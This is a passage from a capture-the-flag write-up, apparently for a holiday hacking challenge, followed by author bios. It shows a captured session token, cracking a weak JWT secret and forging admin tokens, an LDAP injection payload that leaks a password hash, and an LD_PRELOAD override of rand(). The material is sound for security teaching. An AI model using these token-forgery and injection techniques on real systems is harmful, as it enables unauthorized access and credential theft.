35.196.239.128 - - [22/Dec/2017 19:24:00] "GET /test?cookie=SESSION=hxxer50N2e1C2AFt5X06&npauth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.1" 200 -

One of the hints indicates that the auth token may be a JSON Web Token (JWT). Decoding the token with the pyjwt library confirms this is the case:

>>> import jwt
>>> jwt.decode('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I', verify=False)
{u'dept': u'Engineering', u'ou': u'elf', u'expires': u'2017-08-16 12:00:47.248093+00:00', u'uid': u'alabaster.snowball'}

Unfortunately, this token is expired. To log in to the application, we need to find a way to modify the token with an updated expires field.

The integrity of JWT’s relies on a strong secret used in creating the signature. We can attempt to crack the secret with a tool called jwt-cracker. Within a few moments of running the tool, the secret is recovered:

$ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I
Secret is "3lv3s"

We can use this secret to modify the contents of the JWT to have a valid expires field using the pwjt library:

>>> import jwt
>>> jwt.encode({u'dept': u'Engineering', u'ou': u'elf', u'expires': u'2018-08-16 12:00:47.248093+00:00', u'uid': u'alabaster.snowball'}, '3lv3s')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.gr2b8plsmw_JCKbomOUR-E7jLiSMeQ-evyYjcxCPXco'

Adding the obtained session cookie as well as putting the modified JWT in our localStorage takes us to the admin page: Personnel Search

On the admin page, we see the ability to search for elves or reindeer, as well as a dropdown that lets us see our account information. This dropdown contains a link for the “Santa Panel,” however, trying to access the Santa Panel throws an error telling us that we have to be a Claus to log in.

The Javascript on the page contains this snippet:

$('#santa_panel').click(function(e){
        e.preventDefault();
        if (user_json['dept'] == 'administrators') {
            pass = prompt('Confirm you are a Claus by confirming your password: ').trim()
            if (pass) {
                poster("/html", { santa_access: pass }, token, function(result){
                    if (result) {
                        $('#inneroverlay').html(result);
                        $('.overlay').css('display','flex');
                    } else {
                        Materialize.toast('Incorrect Password...', 4000);
                    }
                });    
            }
        } else {
            Materialize.toast('You must be a Claus to access this panel!', 4000);
        }
    });

This tells us that, to authenticate to the Santa Panel, we need to change our user information in our authentication token to be in the administrators department, as well as having Santa’s password.

Let’s start with the password. Ideally, we’d be able to leverage the Elf search function to somehow retrieve Santa’s password. Looking through the page source, we see this commented out snippet:

//Note: remember to remove comments about backend query before going into north pole production network
/*
isElf = 'elf'
if request.form['isElf'] != 'True':
    isElf = 'reindeer'
attribute_list = [x.encode('UTF8') for x in request.form['attributes'].split(',')]
result = ldap_query('(|(&(gn=*'+request.form['name']+'*)(ou='+isElf+'))(&(sn=*'+request.form['name']+'*)(ou='+isElf+')))', attribute_list)
#request.form is the dictionary containing post params sent by client-side
#We only want to allow query elf/reindeer data
*/

This snippet of backend code shows that our input into the name field is inserted directly into an LDAP query. This is dangerous because it allows us to modify the query being executed using LDAP Injection.

Specifically, we can modify the query to retrieve Santa’s information as well as elf information. This is what a normal query might look like if we searched for “santa”:

ldap_query('(|(&(gn=*santa*)(ou=elf))(&(sn=*santa*)(ou=elf)))', attribute_list)

We need to adjust the first condition so that we aren’t limited to searching through the elf OU. One way we could do that is by creating a query that closes off the first condition and then adjusts the syntax. Here’s an example of what the resulting query would look like with the input santa*)(ou=*))(&gn=:

ldap_query('(|(&(gn=*santa*)(ou=*))(&(gn=*)(ou=elf))(&(sn=*santa*)(ou=*))(&(gn=*)(ou=elf)))', attribute_list)

This causes the LDAP query to return any Santa user as well as any user in the elf OU.

Additionally, we want to modify the requested attributes to include the userPassword LDAP attribute, which will return the hashed password. We can modify this using an HTTP proxy: HTTP Proxy

Running this returns the information for every elf as well as Santa:

[
    ['cn=santa,ou=human,dc=northpolechristmastown,dc=com',
    {'telephoneNumber': ['123-456-7893'],
    'description': ['A round, white-bearded, jolly old man in a red suit, who lives at the North Pole, makes toys for children, and distributes gifts at Christmastime. AKA - The Boss!'],
    'mail': ['santa.claus@northpolechristmastown.com'],
    'department': ['administrators'],
    'gn': ['Santa'],
    'profilePath': ['/img/elves/santa.png'],
    'uid': ['santa.claus'],
    'userPassword': ['d8b4c05a35b0513f302a85c409b4aab3'],
    'sn': ['Claus']}]
]

Sometimes, it’s easiest to first search for a hash in Google to see if someone else has already done the work of cracking it. In this case, searching for our hash takes us to a SANS hash-cracking service where we see that the password is 001cookielips001: Google SANS Hash Crack

Now that we have Santa’s password, we need to recreate our auth token using the secret we cracked earlier to indicate that we are logged in as Santa:

>>> import jwt
>>> jwt.encode({u'dept': u'administrators', u'ou': u'*', u'expires': u'2018-08-16 12:00:47.248093+00:00', u'uid': u'santa.claus'}, '3lv3s')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiYWRtaW5pc3RyYXRvcnMiLCJvdSI6IioiLCJleHBpcmVzIjoiMjAxOC0wOC0xNiAxMjowMDo0Ny4yNDgwOTMrMDA6MDAiLCJ1aWQiOiJzYW50YS5jbGF1cyJ9.sctCItbO58uewzfMcodRdwS-PxGd4avPNnqZMsMvYKU'

Adding this to localStorage and using the password to log in to the Santa Panel yields the letter to Santa, solving the challenge: Letter to Santa

Terminal: We’re Off To See The...

The terminal in the “We’re Off to See The…” level presents us with this prompt:

Wunorse Openslae has a special challenge for you.
Run the given binary, make it return 42.
Use the partial source for hints, it is just a clue.
You will need to write your own code, but only a line or two.
total 88
-rwxr-xr-x 1 root root 84824 Dec 16 16:47 isit42
-rw-r--r-- 1 root root   654 Dec 15 19:59 isit42.c.un

We can start by viewing the contents of the partial C source code:

#include <stdio.h>
// DATA CORRUPTION ERROR
// MUCH OF THIS CODE HAS BEEN LOST
// FORTUNATELY, YOU DON'T NEED IT FOR THIS CHALLENGE
// MAKE THE isit42 BINARY RETURN 42
// YOU'LL NEED TO WRITE A SEPERATE C SOURCE TO WIN EVERY TIME
int getrand() {
    srand((unsigned int)time(NULL));
    printf("Calling rand() to select a random number.\n");
    // The prototype for rand is: int rand(void);
    return rand() % 4096; // returns a pseudo-random integer between 0 and 4096
}
int main() {
    sleep(3);
    int randnum = getrand();
    if (randnum == 42) {
        printf("Yay!\n");
    } else {
        printf("Boo!\n");
    }
    return randnum;
}

This SANS blog post details how to use LD_PRELOAD to load a shared library we specify before executing a binary. This allows us to override functions. In our case, we can override rand() to always return 42.

Here’s the source code to make that happen:

#include <stdio.h>
int rand(void) {
    return 42;
}

We can compile this to a shared library:

elf@7752de8a5df8:~$ gcc fake_rand.c -o fake_rand -shared -fPIC

Then, we can run the binary, telling LD_PRELOAD to load our library and solve the challenge:

elf@7752de8a5df8:~$ LD_PRELOAD="$PWD/fake_rand" ./isit42
Starting up ... done.
Calling rand() to select a random number.
Congratulations! You've won, and have successfully completed this challenge.

Problem 9 - Villain Reveal

9) Which character is ultimately the villain causing the giant snowball problem. What is the villain's motive?

To answer this question, you need to fetch at least five of the seven pages of The Great Book and complete the final level of the North Pole and Beyond. After beating the final video game level, you are presented with the following conversation revealing that the villain was Glinda, the Good Witch from Oz: Good Witch from Oz Convo

Jordan Wright

Jordan Wright

Principal R&D Engineer

@jw_sec

Jordan Wright is Principal R&D Engineer at Duo Security as a part of the Duo Labs team. He has experience on both the offensive and defensive side of infosec. He enjoys contributing to open-source software and performing security research.

Nick Steele

Nick Steele

Senior R&D Engineer

@codekaiju

Nick Steele has been making and breaking things on wide area networks for 10 years. Since finishing his degree in cognitive science, he has worked on a range of projects, all mostly related to computers. He is interested in user authentication and behavior, web development, and anchovy pizza.

Pepijn Bruienne

Pepijn Bruienne

Former R&D Engineer

Pepijn Bruienne was formerly an R&D Engineer at Duo Security and a former long-time Mac Admin who recently made the jump from administering Macs to breaking them in order to better protect them for his employer's customers. Prior to that he worked for the University of Michigan as a senior Mac operations and development specialist, at Cengage Learning as a Senior Mac systems administrator and various other smaller Mac-based shops in a darker past. He has written a number of FOSS tools for Mac admins and contributed to a number of other projects as well.